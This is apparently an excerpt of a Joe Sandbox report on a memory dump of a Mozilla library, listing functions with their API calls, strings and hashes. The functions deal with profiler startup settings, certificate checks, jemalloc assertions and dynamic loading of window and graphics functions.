[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C665B38
MOZ_BASE_PROFILER_HELP, xrefs: 6C665511
[I %d/%d] profiler_init, xrefs: 6C66564E
GeckoMain, xrefs: 6C665554, 6C6655D5
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C6657AE
MOZ_PROFILER_STARTUP, xrefs: 6C6655E1
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C6654A3
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C665749
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C6654B9
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C665D2B
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C6656E3
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C665AC9
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C665791
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C665D01
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C665D24
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C665766
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C665D1C
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C6657C5
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C66548D
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C665BBE
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C665717
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C665C56
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C66584E
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C665724
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C665CF9

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 9723cfc490d2767776d13f6d4db7c8a092534f89ff03e26e62870104a5c6f412
Instruction ID: 177a8c64f2d46a8a752f75fa61e52c8de68fafea378d92d8cf6f77fefddd9d63
Opcode Fuzzy Hash: 9723cfc490d2767776d13f6d4db7c8a092534f89ff03e26e62870104a5c6f412
Instruction Fuzzy Hash: 2D2205709043419FDB009F76C89666ABBB5AF8734CF04462AE94A87F42EB31E445CB5F

Function 6C69B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C69B845
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000), ref: 6C69B852
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69B884
InitializeConditionVariable.KERNEL32(?), ref: 6C69B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C69B9FD
GetCurrentThreadId.KERNEL32 ref: 6C69BA05
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000), ref: 6C69BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C69BA27
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69BA4B
free.MOZGLUE(?), ref: 6C69C9C7
free.MOZGLUE(?), ref: 6C69C9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C69C7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C69C878

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: f2a5776b01e18a1572ab0c51ffc065bedc266983ab07976a2854c9954fd80f75
Instruction ID: 752dd629839c1a6c0987d4a292ffdc9fbf9b15080cacb029944776b32ac7a95d
Opcode Fuzzy Hash: f2a5776b01e18a1572ab0c51ffc065bedc266983ab07976a2854c9954fd80f75
Instruction Fuzzy Hash: FAA2BE71A083818FC721CF29C49079FB7E5BFCA314F144A2DE89997351DB70A949CB9A

Function 6C666C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C666CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C666D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C666D26

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C666D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C666D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C666D73
free.MOZGLUE(00000000), ref: 6C666D80
CertGetNameStringW.CRYPT32 ref: 6C666DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C666DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C666DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C666DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C666E10
CryptMsgClose.CRYPT32(00000000), ref: 6C666E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C666E34
CreateFileW.KERNEL32 ref: 6C666EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C666F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C666F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C66709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C667103
free.MOZGLUE(00000000), ref: 6C667153
CloseHandle.KERNEL32(?), ref: 6C667176
__Init_thread_footer.LIBCMT ref: 6C667209
__Init_thread_footer.LIBCMT ref: 6C66723A
__Init_thread_footer.LIBCMT ref: 6C66726B
__Init_thread_footer.LIBCMT ref: 6C66729C
__Init_thread_footer.LIBCMT ref: 6C6672DC
__Init_thread_footer.LIBCMT ref: 6C66730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C6673C2
VerSetConditionMask.NTDLL ref: 6C6673F3
VerSetConditionMask.NTDLL ref: 6C6673FF
VerSetConditionMask.NTDLL ref: 6C667406
VerSetConditionMask.NTDLL ref: 6C66740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C66741A
moz_xmalloc.MOZGLUE(?), ref: 6C66755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C667568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C667585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C667598
free.MOZGLUE(00000000), ref: 6C6675AC

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

Strings

wintrust.dll, xrefs: 6C6672CD
(, xrefs: 6C66768A
SHA256, xrefs: 6C666EC0
CryptCATAdminReleaseCatalogContext, xrefs: 6C6672C8

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 7fc89b314fb4aa2afe388c52032a03451903b56d09fef3437752505b54f425da
Instruction ID: 66a7cec88e3af785e2294924bd49185265c2d8ef4da158a834f2fe8299d93b89
Opcode Fuzzy Hash: 7fc89b314fb4aa2afe388c52032a03451903b56d09fef3437752505b54f425da
Instruction Fuzzy Hash: 9852E871A042149FEB21DF26CC84BAA77B8EF46704F144599E909A7A40DB70BF84CF5A

Function 6C686FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C687019
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C687061
EnterCriticalSection.KERNEL32(?), ref: 6C6871A4
LeaveCriticalSection.KERNEL32(?), ref: 6C68721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C68723E
EnterCriticalSection.KERNEL32(?), ref: 6C68726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C6872B2
LeaveCriticalSection.KERNEL32(?), ref: 6C68733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C6873E8
LeaveCriticalSection.KERNEL32(?), ref: 6C68961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C689622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C689642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C68964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C6896CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C6896DB
AcquireSRWLockExclusive.KERNEL32(6C6DE804), ref: 6C689747
GetSystemInfo.KERNEL32(?), ref: 6C689792
__Init_thread_footer.LIBCMT ref: 6C6897A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C6DE810,00000040), ref: 6C6897CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE7B8,00001388), ref: 6C689838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE744,00001388), ref: 6C68984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE784,00001388), ref: 6C689874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE7DC,00001388), ref: 6C689895

Strings

MOZ_CRASH(), xrefs: 6C689B42
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6899BD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6899D2
Compile-time page size does not divide the runtime one., xrefs: 6C689B38
MALLOC_OPTIONS, xrefs: 6C6897CA
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C689933, 6C689A33, 6C689A4E
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C689993
<jemalloc>, xrefs: 6C689B33, 6C689BE3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6899A8
: (malloc) Unsupported character in malloc options: ', xrefs: 6C689BF4

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 418fd89d6427ea1ae05e57579495d84a3dc27d706b17276d0fd4751e268b2148
Instruction ID: ee36c599fa48198b2c7725134521e9e790b374f81c6c1017c0afef02a68b7765
Opcode Fuzzy Hash: 418fd89d6427ea1ae05e57579495d84a3dc27d706b17276d0fd4751e268b2148
Instruction Fuzzy Hash: 4153B171A067018FD704CF29C580715FBE1BF8A328F29C66DE8698B7A1D771E841CB99

Function 6C690DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C690F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C690F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C690FB7
EnterCriticalSection.KERNEL32(?), ref: 6C690FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C691031
LeaveCriticalSection.KERNEL32(?), ref: 6C6910D0
EnterCriticalSection.KERNEL32(?), ref: 6C69117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C691C39
EnterCriticalSection.KERNEL32(6C6DE744), ref: 6C693391
LeaveCriticalSection.KERNEL32(6C6DE744), ref: 6C6933CD
LeaveCriticalSection.KERNEL32(?), ref: 6C693431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C693437

Strings

MOZ_CRASH(), xrefs: 6C693950
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6937BD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6937D2
Compile-time page size does not divide the runtime one., xrefs: 6C693946
MALLOC_OPTIONS, xrefs: 6C6935FE
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C693559, 6C69382D, 6C693848
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C693793
<jemalloc>, xrefs: 6C693941, 6C6939F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6937A8
: (malloc) Unsupported character in malloc options: ', xrefs: 6C693A02

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 490fd3e4da68b349dcf174aeb13f7e1aa5eb04aedbdc4e08c90c6a630371fe5e
Instruction ID: 96dae9f6c816b0358c2a12f1448292288e71a0c622159dc55be4494e21494cd5
Opcode Fuzzy Hash: 490fd3e4da68b349dcf174aeb13f7e1aa5eb04aedbdc4e08c90c6a630371fe5e
Instruction Fuzzy Hash: 1F539E71A057028FD704CF29C580616FBE1BF8A328F29C76DE8699B791D771E842CB85

Function 6C6B55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C68E1A5), ref: 6C6B5606
LoadLibraryW.KERNEL32(gdi32,?,6C68E1A5), ref: 6C6B560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C6B5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C6B563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C6B566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C6B567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C6B5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6B56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6B56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6B56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6B56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C6B5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C6B572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C6B5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C6B5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C6B577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C6B5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6B57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6B57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6B57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6B57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6B57FF

Strings

LoadCursorW, xrefs: 6C6B5774
StretchDIBits, xrefs: 6C6B57CC
GetThreadDpiAwarenessContext, xrefs: 6C6B562D
DeleteObject, xrefs: 6C6B57F9
GetWindowDC, xrefs: 6C6B5710
CreateWindowExW, xrefs: 6C6B56C5
CreateSolidBrush, xrefs: 6C6B57E4
GetMonitorInfoW, xrefs: 6C6B57A2
ShowWindow, xrefs: 6C6B56DE
MonitorFromWindow, xrefs: 6C6B578D
SetWindowPos, xrefs: 6C6B56F7
FillRect, xrefs: 6C6B5729
AreDpiAwarenessContextsEqual, xrefs: 6C6B5637
gdi32, xrefs: 6C6B560A
RegisterClassW, xrefs: 6C6B56AC
user32, xrefs: 6C6B5601
ReleaseDC, xrefs: 6C6B5742
LoadIconW, xrefs: 6C6B575B
SetWindowLongPtrW, xrefs: 6C6B57B7
GetSystemMetricsForDpi, xrefs: 6C6B5677
EnableNonClientDpiScaling, xrefs: 6C6B5666
GetDpiForWindow, xrefs: 6C6B5690

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 94b76636f99ffd07114a4f151aec59dcb6d2598d60fa7d4b3905766af542c8f8
Instruction ID: b3b9cb022db72f0e9f9477c7989f80cbda05744432ed32d297e3daa30a732aad
Opcode Fuzzy Hash: 94b76636f99ffd07114a4f151aec59dcb6d2598d60fa7d4b3905766af542c8f8
Instruction Fuzzy Hash: 965169707113235BDB009F36CD84A663AF8AB4A785F114925AA21F3A55EFB0F811CF6D

Function 6C6B34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3EE2

Part of subcall function 6C6B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6B61DD
Part of subcall function 6C6B6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C6B622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4157

Part of subcall function 6C6B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C6B6250
Part of subcall function 6C6B6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6B6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4896
free.MOZGLUE ref: 6C6B489F

Strings

, xrefs: 6C6B4CD2

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 401fd3e3f0ce69e40bd11e1cc5dbf2f34b948666a2131da8147521809414bbb2
Instruction ID: 58ee6da397fa28b9ce1d1355d0b4e0bc2cd33d329d9bb7f3149907bc63987aa2
Opcode Fuzzy Hash: 401fd3e3f0ce69e40bd11e1cc5dbf2f34b948666a2131da8147521809414bbb2
Instruction Fuzzy Hash: 3CF26C74908B808FC725CF29C08469AFBF1FFCA304F118A5ED99997711DB71A896CB46

Function 6C69F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C69F09B

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C69F0AC

